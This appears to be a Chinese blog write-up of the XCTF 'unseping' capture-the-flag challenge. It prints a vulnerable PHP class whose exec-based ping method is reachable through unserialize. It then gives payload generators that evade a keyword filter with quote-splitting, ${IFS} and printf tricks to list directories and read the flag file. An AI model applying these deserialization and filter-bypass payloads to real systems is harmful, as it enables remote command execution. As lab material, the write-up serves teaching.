CTF(二)

导言:

本文主要讲述在CTF竞赛中,web类反序列化题目unseping。。

靶场链接:攻防世界 (xctf.org.cn)

反序列化漏洞:反序列化漏洞(二)_fst反序列化 rocksdb 字段值错误-****博客

打开后可以看到:

可以看到是一段php代码,根据这段代码可以看到这是一段反序列化题目。

并且在名为waf的函数中,过滤了大部分的特殊字符。

并且,是使用传参名为ctf的post类型传参。

<?php
highlight_file(__FILE__);

class ease{
    
    // 定义私有变量
    private $method;
    private $args;
    // 构造函数,接收两个参数
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    // 析构函数,当对象被销毁时调用
    function __destruct(){
        // 如果方法在数组中,则调用该方法
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    // ping方法,接收一个参数,执行exec函数
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    // waf方法,接收一个参数,使用正则表达式进行过滤
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    // __wakeup方法,当对象被反序列化时调用
    function __wakeup(){
        // 遍历args数组,对每个元素进行waf过滤
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

// 接收POST参数ctf
$ctf=@$_POST['ctf'];
// 对ctf进行base64解码,并反序列化
@unserialize(base64_decode($ctf));
?>

此时,就知道:我们应该通过命令执行获取flag且绕过waf函数的过滤,最后将序列化的payload并进行base64编码,最后利用post请求进行发送即可

所以,使用hackbar打开,并选择post型传参。

构造payload:

<?php
 
// 定义一个类ease
class ease{
	// 定义私有变量method和args
	private $method;
	private $args;
	// 构造函数,接收两个参数method和args
	function __construct($method, $args) {
	    $this->method = $method;
	    $this->args = $args;
	}
  
}
// 创建一个ease对象,参数为"ping"和array('l""s')
$a = new ease("ping",array('l""s'));
// 将对象序列化
$b = serialize($a);
// 输出序列化后的对象
echo $b;
echo'</br>';
// 将序列化后的对象进行base64编码
echo base64_encode($b);
?>

将其运行后,可以得到payload:

使用hackbar发送后,可以看到:

flag在flag_1s_here文件夹内,查看此文件夹的payload为:

<?php
class ease{
    
    // 定义私有变量method和args
    private $method;
    private $args;
    // 构造函数,接收两个参数method和args
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
     
}
 
// 创建ease对象,参数为"ping"和array('l""s${IFS}f""lag_1s_here')
$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
// 将对象序列化
$s = serialize($o);
// 将序列化后的对象进行base64编码
echo base64_encode($s);
?>

flag在flag_831b69012c67b35f.php文件夹内。

此时,payload为:

<?php
 
// 定义一个名为ease的类
class ease{
// 定义两个私有属性
private $method;
private $args;
// 构造函数,接受两个参数
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
  
}
// 创建一个ease对象,参数为"ping"和数组
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
// 将对象序列化
$b = serialize($a);
// 输出序列化后的对象
echo $b;
echo'</br>';
// 将序列化后的对象进行base64编码
echo base64_encode($b);
?>

得到flag。

上一篇:【动态规划】完全背包问题应用-3.完全平方数


下一篇:9-单引号和双引号的区别在PHP